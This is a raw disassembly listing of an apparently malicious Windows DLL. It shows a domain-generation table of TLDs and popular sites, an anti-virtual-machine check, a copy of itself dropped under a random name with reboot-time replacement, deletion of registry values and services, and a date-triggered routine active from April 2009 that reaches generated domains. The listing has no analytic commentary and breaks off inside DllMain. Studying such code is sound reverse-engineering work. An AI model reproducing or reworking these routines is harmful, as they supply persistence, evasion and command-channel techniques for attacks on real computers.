aCh		db 'ch',0               ; DATA XREF: .text:009B85CCo
		align 10h
aCd		db 'cd',0               ; DATA XREF: .text:009B85C8o
		align 4
aCa		db 'ca',0               ; DATA XREF: .text:009B85C4o
		align 4
aBz		db 'bz',0               ; DATA XREF: .text:009B85C0o
		align 4
aBo		db 'bo',0               ; DATA XREF: .text:009B85BCo
		align 10h
aBe		db 'be',0               ; DATA XREF: .text:009B85B8o
		align 4
aAt		db 'at',0               ; DATA XREF: .text:009B85B4o
		align 4
aAs		db 'as',0               ; DATA XREF: .text:009B85B0o
		align 4
aAm		db 'am',0               ; DATA XREF: .text:009B85ACo
		align 10h
aAg		db 'ag',0               ; DATA XREF: .text:009B85A8o
		align 4
aAe		db 'ae',0               ; DATA XREF: .text:009B85A4o
		align 4
aAc		db 'ac',0               ; DATA XREF: .text:009B85A0o
		align 4
aDec		db 'Dec',0              ; DATA XREF: .text:009B859Co
aNov		db 'Nov',0              ; DATA XREF: .text:009B8598o
aOct		db 'Oct',0              ; DATA XREF: .text:009B8594o
aSep		db 'Sep',0              ; DATA XREF: .text:009B8590o
aAug		db 'Aug',0              ; DATA XREF: .text:009B858Co
aJul		db 'Jul',0              ; DATA XREF: .text:009B8588o
aJun		db 'Jun',0              ; DATA XREF: .text:009B8584o
aMay		db 'May',0              ; DATA XREF: .text:009B8580o
aApr		db 'Apr',0              ; DATA XREF: .text:009B857Co
aMar		db 'Mar',0              ; DATA XREF: .text:009B8578o
aFeb		db 'Feb',0              ; DATA XREF: .text:009B8574o
aJan		db 'Jan',0              ; DATA XREF: .text:009B8570o
aRapidshare_com	db 'rapidshare.com',0   ; DATA XREF: .text:009B856Co
		align 4
aImageshack_us	db 'imageshack.us',0    ; DATA XREF: .text:009B8568o
		align 4
aFacebook_com	db 'facebook.com',0     ; DATA XREF: .text:009B8564o
		align 4
aW3_org		db 'w3.org',0           ; DATA XREF: .text:009B8560o
		align 4
aAsk_com	db 'ask.com',0          ; DATA XREF: .text:009B855Co
aYahoo_com	db 'yahoo.com',0        ; DATA XREF: .text:009B8558o
		align 4
aGoogle_com	db 'google.com',0       ; DATA XREF: .text:009B8554o
		align 4
aBaidu_com	db 'baidu.com',0        ; DATA XREF: .text:off_9B8550o
		align 10h
; char Delim[]
Delim		db ', ',0               ; DATA XREF: sub_9A82C5+5Ao
		align 4
; char aHttpWww_S[]
aHttpWww_S	db 'http://www.%s',0    ; DATA XREF: sub_9A83C7+36o
		align 8
dbl_9A3508	dq 9.46270391e-1	; DATA XREF: sub_9A84A9+A6r
; char aHttpS[]
aHttpS		db 'http://%s',0        ; DATA XREF: sub_9A857A+24Fo
		align 4
; char a_[]
a_		db '.',0                ; DATA XREF: sub_9A857A+101o
		align 10h
stru_9A3520	_msEH <0FFFFFFFFh, offset loc_9A885B, offset loc_9A885F>
					; DATA XREF: sub_9A857A+5o
		align 10h
		dd offset loc_9A8803
; ---------------------------------------------------------------------------
		pop	es
		mov	[edx-100h], bl
		push	dword ptr [edi-44FF6578h]
		mov	[edx+0], bl
		add	[eax-7EDBDA31h], ah ; DATA XREF: sub_9A8FF3+B6o
		retn	7311h
; ---------------------------------------------------------------------------
		dd 34AAC8E7h, 64322864h, 0EF68B7C1h, 0B60450E9h, 8D9F06F1h
		dd 0E8FB2390h, 0A691E5BFh, 0DD2E76CBh, 2C30BC41h, 0CD0D63Bh
		dd 23058F8Ah, 1F8CCF68h, 88E3775Dh, 54E5ED5Bh, 0A6D6031h
		dd 4AD12AAEh, 88222E0Dh, 3E7F16BBh, 3FB50C2Ch, 8AF8671Dh
		dd 8BD25C31h, 995AD117h, 4C4B633h, 0C878C1DDh, 7A1552ACh
		dd 3B72066Ch, 631EFFCBh, 0D6F3522h, 89ABCDEFh, 1234567h
		dd 2425CFA0h, 7311C281h
; char szProvider[]
szProvider	db 'Microsoft Base Cryptographic Provider v1.0',0
					; DATA XREF: sub_9AA577+4Bo
		align 10h
stru_9A3600	_msEH <0FFFFFFFFh, offset loc_9AAAAD, offset loc_9AAAB1>
					; DATA XREF: sub_9AAAC1-2Fo
		dd 5 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A3620	proc near		; CODE XREF: sub_9A3C63+13Ap

Source		= byte ptr -108h
var_4		= dword	ptr -4
Count		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	104h		; nSize
		lea	eax, [ebp+Source]
		push	eax		; lpFilename
		push	0		; hModule
		mov	byte ptr [esi],	0
		call	GetModuleFileNameA
		test	eax, eax
		jz	short loc_9A36C0
		lea	eax, [ebp+Source]
		push	5Ch		; Ch
		push	eax		; Str
		call	strrchr
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A366B
		lea	eax, [ebp+Source]
		jmp	short loc_9A366C
; ---------------------------------------------------------------------------


loc_9A366B:				; CODE XREF: sub_9A3620+41j
		inc	eax


loc_9A366C:				; CODE XREF: sub_9A3620+49j
		push	ebx
		push	edi
		mov	edi, [ebp+Count]
		push	edi		; Count
		push	eax		; Source
		push	esi		; Dest
		call	strncpy
		lea	edi, [esi+edi-1]
		push	esi		; Str
		mov	byte ptr [edi],	0
		call	strlen
		add	esp, 10h
		cmp	eax, 4
		mov	ebx, offset Str2 ; "("
		jb	short loc_9A36AD
		push	ebx		; Str2
		push	esi		; Str
		call	strlen
		pop	ecx
		lea	eax, [eax+esi-4]
		push	eax		; Str1
		call	_stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A36BE


loc_9A36AD:				; CODE XREF: sub_9A3620+72j
		push	[ebp+Count]	; Count
		push	ebx		; Source
		push	esi		; Dest
		call	strncat
		add	esp, 0Ch
		mov	byte ptr [edi],	0


loc_9A36BE:				; CODE XREF: sub_9A3620+8Bj
		pop	edi
		pop	ebx


loc_9A36C0:				; CODE XREF: sub_9A3620+2Cj
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_9AAAC1
		leave
		retn
sub_9A3620	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A36CC	proc near		; CODE XREF: sub_9A3C63+183p
		push	esi
		push	edi
		push	offset Srch	; lpSrch
		xor	edi, edi
		call	sub_9A66EF
		test	eax, eax
		pop	ecx
		mov	esi, offset FileName ; "c:\\abcdefgh.dll"
		jz	short loc_9A36F1
		push	esi		; lpBuffer
		push	eax		; dwProcessId
		call	sub_9A642B
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A370D


loc_9A36F1:				; CODE XREF: sub_9A36CC+16j
		push	offset aT	; "t"
		call	sub_9A638D
		test	eax, eax
		pop	ecx
		jz	short loc_9A3710
		push	esi		; lpBuffer
		push	eax		; dwProcessId
		call	sub_9A642B
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A3710


loc_9A370D:				; CODE XREF: sub_9A36CC+23j
		xor	edi, edi
		inc	edi


loc_9A3710:				; CODE XREF: sub_9A36CC+32j
					; sub_9A36CC+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_9A36CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=0A4h


sub_9A3715	proc near		; CODE XREF: sub_9A387C+2Fp
					; sub_9A387C+73p ...

var_1D8		= dword	ptr -1D8h
hMem		= dword	ptr -124h
nNumberOfBytesToWrite= dword ptr -120h
var_11C		= dword	ptr -11Ch
FileName	= byte ptr -118h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-0A4h]
		sub	esp, 124h
		mov	eax, dword_9B8788
		xor	eax, ebp
		push	ebx
		mov	[ebp+0A4h+var_4], eax
		mov	eax, dword_9BB1DC
		push	esi
		xor	eax, 0C7BD45E1h
		push	edi
		push	eax		; Seed
		mov	esi, ecx
		call	srand
		call	rand
		push	4
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+0A4h+var_14]
		add	edx, 5
		push	edx
		push	eax
		call	sub_9A5E65
		call	sub_9A5D1A
		lea	eax, [ebp+0A4h+var_14]
		push	eax
		push	esi
		push	offset nullsub_11 ; Format
		lea	eax, [ebp+0A4h+FileName]
		push	104h		; Count
		push	eax		; Dest
		call	_snprintf
		xor	ebx, ebx
		push	ebx		; int
		mov	edi, 1F01FFh
		lea	eax, [ebp+0A4h+FileName]
		push	edi		; int
		push	eax		; Str
		mov	[ebp+0A4h+var_15], bl
		call	sub_9A68CA
		add	esp, 2Ch
		lea	eax, [ebp+0A4h+FileName]
		push	eax		; lpFileName
		call	DeleteFileA
		push	ebx		; int
		push	1200A9h		; int
		mov	esi, offset FileName ; "c:\\abcdefgh.dll"
		push	esi		; Str
		mov	[ebp+0A4h+var_11C], ebx
		call	sub_9A68CA
		add	esp, 0Ch
		lea	eax, [ebp+0A4h+FileName]
		push	eax		; lpNewFileName
		push	esi		; lpExistingFileName
		call	MoveFileA
		test	eax, eax
		jnz	short loc_9A3824
		lea	eax, [ebp+0A4h+nNumberOfBytesToWrite]
		push	esi		; lpFileName
		push	eax		; int
		mov	[ebp+0A4h+nNumberOfBytesToWrite], ebx
		call	sub_9A5FCF
		cmp	eax, ebx
		pop	ecx
		pop	ecx
		mov	[ebp+0A4h+hMem], eax
		jz	short loc_9A3861
		cmp	[ebp+0A4h+nNumberOfBytesToWrite], ebx
		jz	short loc_9A3819
		lea	ecx, [ebp+0A4h+FileName]
		push	ecx		; lpFileName
		push	[ebp+0A4h+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
		push	eax		; lpBuffer
		call	sub_9A6056
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_9A3819
		push	ebx		; int
		push	edi		; int
		push	esi		; Str
		mov	[ebp+0A4h+var_11C], 1
		call	sub_9A68CA
		add	esp, 0Ch
		push	4		; dwFlags
		push	ebx		; lpNewFileName
		push	esi		; lpExistingFileName
		call	MoveFileExA


loc_9A3819:				; CODE XREF: sub_9A3715+D2j
					; sub_9A3715+E6j
		push	[ebp+0A4h+hMem]	; hMem
		call	GlobalFree
		jmp	short loc_9A3838
; ---------------------------------------------------------------------------


loc_9A3824:				; CODE XREF: sub_9A3715+B7j
		lea	eax, [ebp+0A4h+FileName]
		push	0FFFFFFFFh	; hFile
		push	eax		; int
		mov	[ebp+0A4h+var_11C], 1
		call	sub_9A5EC7
		pop	ecx
		pop	ecx


loc_9A3838:				; CODE XREF: sub_9A3715+10Dj
		cmp	[ebp+0A4h+var_11C], ebx
		jz	short loc_9A3861
		lea	eax, [ebp+0A4h+FileName]
		push	eax		; Str
		call	sub_9A7E0F
		lea	eax, [ebp+0A4h+FileName]
		mov	[esp+134h+var_1D8], 104h
		push	eax		; Source
		push	esi		; Dest
		call	strncpy
		add	esp, 0Ch
		mov	byte_9BB1DB, bl


loc_9A3861:				; CODE XREF: sub_9A3715+CDj
					; sub_9A3715+126j
		mov	ecx, [ebp+0A4h+var_4]
		mov	eax, [ebp+0A4h+var_11C]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 0A4h
		leave
		retn
sub_9A3715	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=88h


sub_9A387C	proc near		; CODE XREF: StartAddress+7Bp

Buffer		= byte ptr -108h
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-88h]
		sub	esp, 108h
		mov	eax, dword_9B8788
		push	edi
		xor	eax, ebp
		mov	[ebp+88h+var_4], eax
		mov	edi, 104h
		push	edi		; uSize
		lea	eax, [ebp+88h+Buffer]
		push	eax		; lpBuffer
		call	GetSystemDirectoryA
		lea	ecx, [ebp+88h+Buffer]
		call	sub_9A3715
		test	eax, eax
		jnz	short loc_9A3923
		push	ebx
		push	esi
		mov	esi, SHGetSpecialFolderPathA
		xor	ebx, ebx
		push	ebx		; fCreate
		push	26h		; csidl
		lea	eax, [ebp+88h+Buffer]
		push	eax		; pszPath
		push	ebx		; hwnd
		call	esi ; SHGetSpecialFolderPathA
		push	edi		; Count
		call	rand
		and	eax, 3
		push	Source[eax*4]	; Source
		lea	eax, [ebp+88h+Buffer]
		push	eax		; Dest
		call	strncat
		add	esp, 0Ch
		lea	ecx, [ebp+88h+Buffer]
		mov	[ebp+88h+var_5], bl
		call	sub_9A3715
		test	eax, eax
		jnz	short loc_9A3921
		push	ebx		; fCreate
		push	1Ah		; csidl
		lea	eax, [ebp+88h+Buffer]
		push	eax		; pszPath
		push	ebx		; hwnd
		call	esi ; SHGetSpecialFolderPathA
		lea	ecx, [ebp+88h+Buffer]
		call	sub_9A3715
		test	eax, eax
		jnz	short loc_9A3921
		lea	eax, [ebp+88h+Buffer]
		push	eax		; lpBuffer
		push	edi		; nBufferLength
		call	GetTempPathA
		lea	ecx, [ebp+88h+Buffer]
		call	sub_9A3715


loc_9A3921:				; CODE XREF: sub_9A387C+7Aj
					; sub_9A387C+90j
		pop	esi
		pop	ebx


loc_9A3923:				; CODE XREF: sub_9A387C+36j
		mov	ecx, [ebp+88h+var_4]
		xor	ecx, ebp
		pop	edi
		call	sub_9AAAC1
		add	ebp, 88h
		leave
		retn
sub_9A387C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

; DWORD	__stdcall sub_9A3939(LPVOID)

sub_9A3939	proc near		; CODE XREF: sub_9A3939+10j
					; DATA XREF: sub_9A39CF+82o
		call	sub_9A4074
		push	3E8h		; dwMilliseconds
		call	Sleep
		jmp	short sub_9A3939
sub_9A3939	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A394B	proc near		; CODE XREF: StartAddress+76p

pszValue	= byte ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_9B8788
		push	esi
		push	edi
		push	0		; int
		push	0		; int
		xor	eax, ebp
		push	1		; int
		mov	[ebp+var_4], eax
		push	offset dword_9A13E4 ; lpValueName
		call	sub_9A471B
		mov	eax, dword_9BB1DC
		xor	eax, 0B30AA17Bh
		push	eax		; Seed
		call	srand
		call	rand
		push	5
		pop	ecx
		cdq
		idiv	ecx
		lea	eax, [ebp+pszValue]
		add	edx, ecx
		push	edx
		push	eax
		call	sub_9A5E65
		add	esp, 1Ch
		call	sub_9A5D1A
		mov	esi, SHDeleteValueA
		lea	eax, [ebp+pszValue]
		push	eax		; pszValue
		mov	edi, offset pszSubKey ;	"P"
		push	edi		; pszSubKey
		push	80000002h	; hkey
		call	esi ; SHDeleteValueA
		lea	eax, [ebp+pszValue]
		push	eax		; pszValue
		push	edi		; pszSubKey
		push	80000001h	; hkey
		call	esi ; SHDeleteValueA
		mov	ecx, [ebp+var_4]
		pop	edi
		xor	ecx, ebp
		pop	esi
		call	sub_9AAAC1
		leave
		retn
sub_9A394B	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A39CF	proc near		; CODE XREF: StartAddress+9Fp

var_C		= dword	ptr -0Ch
ThreadId	= dword	ptr -4

		push	ecx
		push	esi
		push	offset dword_9A1570 ; lpServiceName
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A1564
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A1558
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A1550
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A1548
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A1540
		call	sub_9A5D62
		mov	[esp+0Ch+var_C], offset	dword_9A152C
		push	offset pszSubKey ; "P"
		mov	esi, 80000002h
		push	esi		; hkey
		call	SHDeleteValueA
		push	offset dword_9A1450 ; pszSubKey
		push	esi		; hkey
		call	sub_9A7156
		push	offset dword_9A13F8 ; pszSubKey
		push	esi		; hkey
		call	sub_9A7156
		add	esp, 10h
		lea	eax, [esp+8+ThreadId]
		push	eax		; lpThreadId
		xor	eax, eax
		push	eax		; dwCreationFlags
		push	eax		; lpParameter
		push	offset sub_9A3939 ; lpStartAddress
		push	eax		; dwStackSize
		push	eax		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle
		pop	esi
		pop	ecx
		retn
sub_9A39CF	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_9A3A68(LPCSTR	Str)

sub_9A3A68	proc near		; CODE XREF: StartAddress+99p

Str		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	edi, edi
		push	edi		; int
		push	1200A9h		; int
		push	[esp+18h+Str]	; Str
		call	sub_9A68CA
		mov	ebx, CreateFileA
		add	esp, 0Ch
		push	edi		; hTemplateFile
		push	edi		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	edi		; lpSecurityAttributes
		push	2		; dwShareMode
		mov	ebp, 80000000h
		push	ebp		; dwDesiredAccess
		push	[esp+28h+Str]	; lpFileName
		call	ebx ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_9A3AB5
		push	edi		; hTemplateFile
		push	edi		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	edi		; lpSecurityAttributes
		push	3		; dwShareMode
		push	ebp		; dwDesiredAccess
		push	[esp+28h+Str]	; lpFileName
		call	ebx ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9A3AC8


loc_9A3AB5:				; CODE XREF: sub_9A3A68+36j
		push	edi		; nNumberOfBytesToLockHigh
		push	edi		; lpFileSizeHigh
		push	esi		; hFile
		call	GetFileSize
		push	eax		; nNumberOfBytesToLockLow
		push	edi		; dwFileOffsetHigh
		push	edi		; dwFileOffsetLow
		push	esi		; hFile
		call	LockFile


loc_9A3AC8:				; CODE XREF: sub_9A3A68+4Bj
		call	sub_9A7054
		test	eax, eax
		jnz	short loc_9A3AE0
		push	edi		; int
		push	20h		; int
		push	[esp+18h+Str]	; Str
		call	sub_9A68CA
		add	esp, 0Ch


loc_9A3AE0:				; CODE XREF: sub_9A3A68+67j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_9A3A68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame fpd=12Ch

; DWORD	__stdcall StartAddress(LPVOID)

StartAddress	proc near		; DATA XREF: sub_9A3C63+24Ao

SystemTime	= _SYSTEMTIME ptr -1ACh
var_19C		= dword	ptr -19Ch
dwFlags		= dword	ptr -198h
WSAData		= WSAData ptr -194h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-12Ch]
		sub	esp, 1ACh
		mov	eax, dword_9B8788
		push	ebx
		push	esi
		push	edi
		xor	eax, ebp
		push	8003h		; uMode
		mov	[ebp+12Ch+var_4], eax
		call	SetErrorMode
		sldt	ax
		test	ax, ax
		mov	edi, Sleep
		jz	short loc_9A3B20
		push	0FFFFFFFFh	; dwMilliseconds
		call	edi ; Sleep


loc_9A3B20:				; CODE XREF: StartAddress+35j
		call	sub_9A5D1A
		mov	esi, offset FileName ; "c:\\abcdefgh.dll"
		push	esi		; Str
		call	strlen
		cmp	eax, 9
		pop	ecx
		jbe	short loc_9A3B56
		push	offset asc_9A1318 ; "H"
		push	esi		; Str
		call	strlen
		pop	ecx
		mov	ecx, esi
		sub	ecx, 4
		add	eax, ecx
		push	eax		; Str1
		call	_stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A3B65


loc_9A3B56:				; CODE XREF: StartAddress+4Fj
		call	sub_9A5C69
		call	sub_9A394B
		call	sub_9A387C


loc_9A3B65:				; CODE XREF: StartAddress+6Fj
		call	GetVersion
		cmp	ax, 5
		jnz	short loc_9A3B78
		call	sub_9A5C35
		jmp	short loc_9A3B7D
; ---------------------------------------------------------------------------


loc_9A3B78:				; CODE XREF: StartAddress+8Aj
		call	sub_9A5C01


loc_9A3B7D:				; CODE XREF: StartAddress+91j
		push	esi		; Str
		call	sub_9A3A68
		pop	ecx
		call	sub_9A39CF
		lea	eax, [ebp+12Ch+WSAData]
		push	eax		; lpWSAData
		push	202h		; wVersionRequested
		call	WSAStartup
		mov	esi, rand
		call	esi ; rand
		push	1Eh
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 5
		imul	edx, 0EA60h
		push	edx		; dwMilliseconds
		call	edi ; Sleep
		and	[ebp+12Ch+var_19C], 0
		push	63h
		call	sub_9B2118
		test	eax, eax
		jz	short loc_9A3BC9
		call	sub_9B1584
		mov	[ebp+12Ch+var_19C], eax


loc_9A3BC9:				; CODE XREF: StartAddress+DAj
		mov	ebx, GetLocalTime
		lea	eax, [ebp+12Ch+SystemTime]
		push	eax		; lpSystemTime
		call	ebx ; GetLocalTime
		cmp	[ebp+12Ch+SystemTime.wHour], 7
		jb	short loc_9A3BEA
		cmp	[ebp+12Ch+SystemTime.wHour], 0Bh
		mov	[ebp+12Ch+dwFlags], 2A30h
		jbe	short loc_9A3BF1


loc_9A3BEA:				; CODE XREF: StartAddress+F5j
		mov	[ebp+12Ch+dwFlags], 0E10h


loc_9A3BF1:				; CODE XREF: StartAddress+103j
		call	esi ; rand
		cdq
		idiv	[ebp+12Ch+dwFlags]
		add	edx, 708h
		imul	edx, 3E8h
		push	edx		; dwMilliseconds


loc_9A3C04:				; CODE XREF: StartAddress+175j
					; StartAddress+17Cj
		call	edi ; Sleep
		xor	esi, esi
		push	esi		; dwReserved
		lea	eax, [ebp+12Ch+dwFlags]
		push	eax		; lpdwFlags
		call	InternetGetConnectedState
		test	eax, eax
		jz	short loc_9A3C5C
		lea	eax, [ebp+12Ch+SystemTime]
		push	eax		; lpSystemTime
		call	ebx ; GetLocalTime
		cmp	[ebp+12Ch+SystemTime.wYear], 7D9h
		ja	short loc_9A3C37
		jnz	short loc_9A3C4D
		cmp	[ebp+12Ch+SystemTime.wMonth], 4
		ja	short loc_9A3C37
		jnz	short loc_9A3C4D
		cmp	[ebp+12Ch+SystemTime.wDay], 1
		jb	short loc_9A3C4D


loc_9A3C37:				; CODE XREF: StartAddress+13Ej
					; StartAddress+147j
		cmp	[ebp+12Ch+var_19C], 0
		jz	short loc_9A3C46
		call	sub_9B36E8
		test	eax, eax
		jnz	short loc_9A3C4D


loc_9A3C46:				; CODE XREF: StartAddress+156j
		call	sub_9A857A
		mov	esi, eax


loc_9A3C4D:				; CODE XREF: StartAddress+140j
					; StartAddress+149j ...
		imul	esi, 0F731400h
		add	esi, 5265C00h
		push	esi
		jmp	short loc_9A3C04
; ---------------------------------------------------------------------------


loc_9A3C5C:				; CODE XREF: StartAddress+130j
		push	0EA60h
		jmp	short loc_9A3C04
StartAddress	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=198h

; int __fastcall sub_9A3C63(HMODULE hModule)

sub_9A3C63	proc near		; CODE XREF: DllMain(x,x,x)+BCp

var_3C0		= dword	ptr -3C0h
hObject		= dword	ptr -218h
ThreadId	= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
Name		= byte ptr -208h
var_109		= byte ptr -109h
Str1		= byte ptr -108h
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-198h]
		sub	esp, 218h
		mov	eax, dword_9B8788
		push	ebx
		xor	eax, ebp
		push	esi
		push	edi
		mov	[ebp+198h+var_4], eax
		mov	edi, ecx
		call	sub_9A67C6
		call	sub_9A5B2E
		mov	esi, 104h
		push	esi		; nSize
		push	offset FileName	; "c:\\abcdefgh.dll"
		push	edi		; hModule
		call	GetModuleFileNameA
		push	1		; int
		push	offset Name	; "\""
		mov	byte_9BB1DB, 0
		call	sub_9A5DFA
		pop	ecx
		pop	ecx
		lea	eax, [ebp+198h+ThreadId]
		push	eax		; nSize
		lea	eax, [ebp+198h+Str1]
		push	eax		; lpBuffer
		mov	[ebp+198h+ThreadId], esi
		mov	[ebp+198h+Str1], 0
		call	GetComputerNameA
		lea	eax, [ebp+198h+Str1]
		push	eax		; Str
		call	strlen
		push	eax
		lea	eax, [ebp+198h+Str1]
		push	eax
		call	sub_9A9FAE
		mov	dword_9BB1DC, eax
		xor	eax, 18A94C39h
		push	eax		; Seed
		call	srand
		call	rand
		push	3
		pop	ecx
		cdq
		idiv	ecx
		add	edx, 6
		push	edx
		push	offset aNmqflzhf ; "nmqflzhf"
		call	sub_9A5E65
		call	sub_9A5D1A
		push	dword_9BB1DC
		mov	edi, _snprintf
		push	offset Format	; "x\""
		lea	eax, [ebp+198h+Name]
		push	100h		; Count
		push	eax		; Dest
		call	edi ; _snprintf
		mov	ebx, CreateMutexA
		add	esp, 28h
		lea	eax, [ebp+198h+Name]
		push	eax		; lpName
		push	0		; bInitialOwner
		push	0		; lpMutexAttributes
		mov	[ebp+198h+var_109], 0
		call	ebx ; CreateMutexA
		push	63h
		push	dword_9BB1DC
		lea	eax, [ebp+198h+Name]
		push	offset a0	; "0\""
		push	100h		; Count
		push	eax		; Dest
		call	edi ; _snprintf
		add	esp, 14h
		lea	eax, [ebp+198h+Name]
		push	eax		; lpName
		push	0		; bInitialOwner
		push	0		; lpMutexAttributes
		mov	[ebp+198h+var_109], 0
		call	ebx ; CreateMutexA
		mov	[ebp+198h+hObject], eax
		call	GetLastError
		mov	[ebp+198h+var_20C], eax
		call	sub_9A6A91
		mov	edi, eax
		call	GetCommandLineA
		push	esi		; lpFirst
		lea	esi, [ebp+198h+Str1]
		mov	[ebp+198h+var_210], eax
		call	sub_9A3620
		mov	eax, esi
		mov	esi, _stricmp
		mov	[esp+228h+var_3C0], offset dword_9A15B4
		push	eax		; Str1
		call	esi ; _stricmp
		test	eax, eax
		mov	ebx, StrStrIA
		pop	ecx
		pop	ecx
		jnz	short loc_9A3E02
		push	offset aNmqflzhf ; "nmqflzhf"
		push	[ebp+198h+var_210]
		call	ebx ; StrStrIA
		test	eax, eax
		jz	short loc_9A3E02
		cmp	[ebp+198h+var_20C], 0B7h
		jz	short loc_9A3DFA
		cmp	[ebp+198h+var_20C], 5
		jz	short loc_9A3DFA
		push	[ebp+198h+hObject] ; hObject
		call	CloseHandle
		call	sub_9A36CC
		test	eax, eax
		jz	short loc_9A3DFA
		push	0BB8h		; dwMilliseconds
		call	Sleep


loc_9A3DFA:				; CODE XREF: sub_9A3C63+172j
					; sub_9A3C63+178j ...
		push	0		; uExitCode
		call	ExitProcess
; ---------------------------------------------------------------------------


loc_9A3E02:				; CODE XREF: sub_9A3C63+15Bj
					; sub_9A3C63+169j
		test	edi, edi
		jz	short loc_9A3E6E
		call	GetVersion
		cmp	ax, 5
		jnz	short loc_9A3E32
		lea	eax, [ebp+198h+Str1]
		push	offset aServ	; "serv!"
		push	eax		; Str1
		call	esi ; _stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A3E32
		call	sub_9A5B0F
		call	sub_9A5BCD
		jmp	short loc_9A3E6E
; ---------------------------------------------------------------------------


loc_9A3E32:				; CODE XREF: sub_9A3C63+1ADj
					; sub_9A3C63+1C1j
		lea	eax, [ebp+198h+Str1]
		push	offset aJ	; "!"
		push	eax		; Str1
		call	esi ; _stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A3E6E
		push	offset dword_9A158C
		push	[ebp+198h+var_210]
		call	ebx ; StrStrIA
		test	eax, eax
		jz	short loc_9A3E5B
		call	sub_9A5B0F
		jmp	short loc_9A3E6E
; ---------------------------------------------------------------------------


loc_9A3E5B:				; CODE XREF: sub_9A3C63+1EFj
		push	offset dword_9A1578
		push	[ebp+198h+var_210]
		call	ebx ; StrStrIA
		test	eax, eax
		jz	short loc_9A3E6E
		call	sub_9A5B4D


loc_9A3E6E:				; CODE XREF: sub_9A3C63+1A1j
					; sub_9A3C63+1CDj ...
		lea	eax, [ebp+198h+Str1]
		push	offset aJ	; "!"
		push	eax		; Str1
		call	esi ; _stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_9A3E96
		lea	eax, [ebp+198h+Str1]
		push	offset aT	; "t"
		push	eax		; Str1
		call	esi ; _stricmp
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_9A3EC1


loc_9A3E96:				; CODE XREF: sub_9A3C63+21Dj
		cmp	[ebp+198h+var_20C], 0B7h
		jz	short loc_9A3EC1
		cmp	[ebp+198h+var_20C], 5
		jz	short loc_9A3EC1
		lea	eax, [ebp+198h+ThreadId]
		push	eax		; lpThreadId
		xor	eax, eax
		push	eax		; dwCreationFlags
		push	eax		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	eax		; dwStackSize
		push	eax		; lpThreadAttributes
		call	CreateThread
		push	eax		; hObject
		call	CloseHandle


loc_9A3EC1:				; CODE XREF: sub_9A3C63+231j
					; sub_9A3C63+23Aj ...
		mov	ecx, [ebp+198h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 198h
		leave
		retn
sub_9A3C63	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; BOOL __stdcall DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)

_DllMain@12	proc near		; CODE XREF: start+4Bp

Name		= byte ptr -18h
var_4		= dword	ptr -4
hinstDLL	= dword	ptr  8
fdwReason	= dword	ptr  0Ch
hModule		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_9B8788
		push	ebx
		xor	eax, ebp
		cmp	[ebp+fdwReason], 1
		push	esi
		mov	esi, [ebp+hinstDLL]
		mov	[ebp+var_4], eax
		push	edi
		jnz	loc_9A3FA2
		mov	ebx, [ebp+hModule]
		test	ebx, ebx
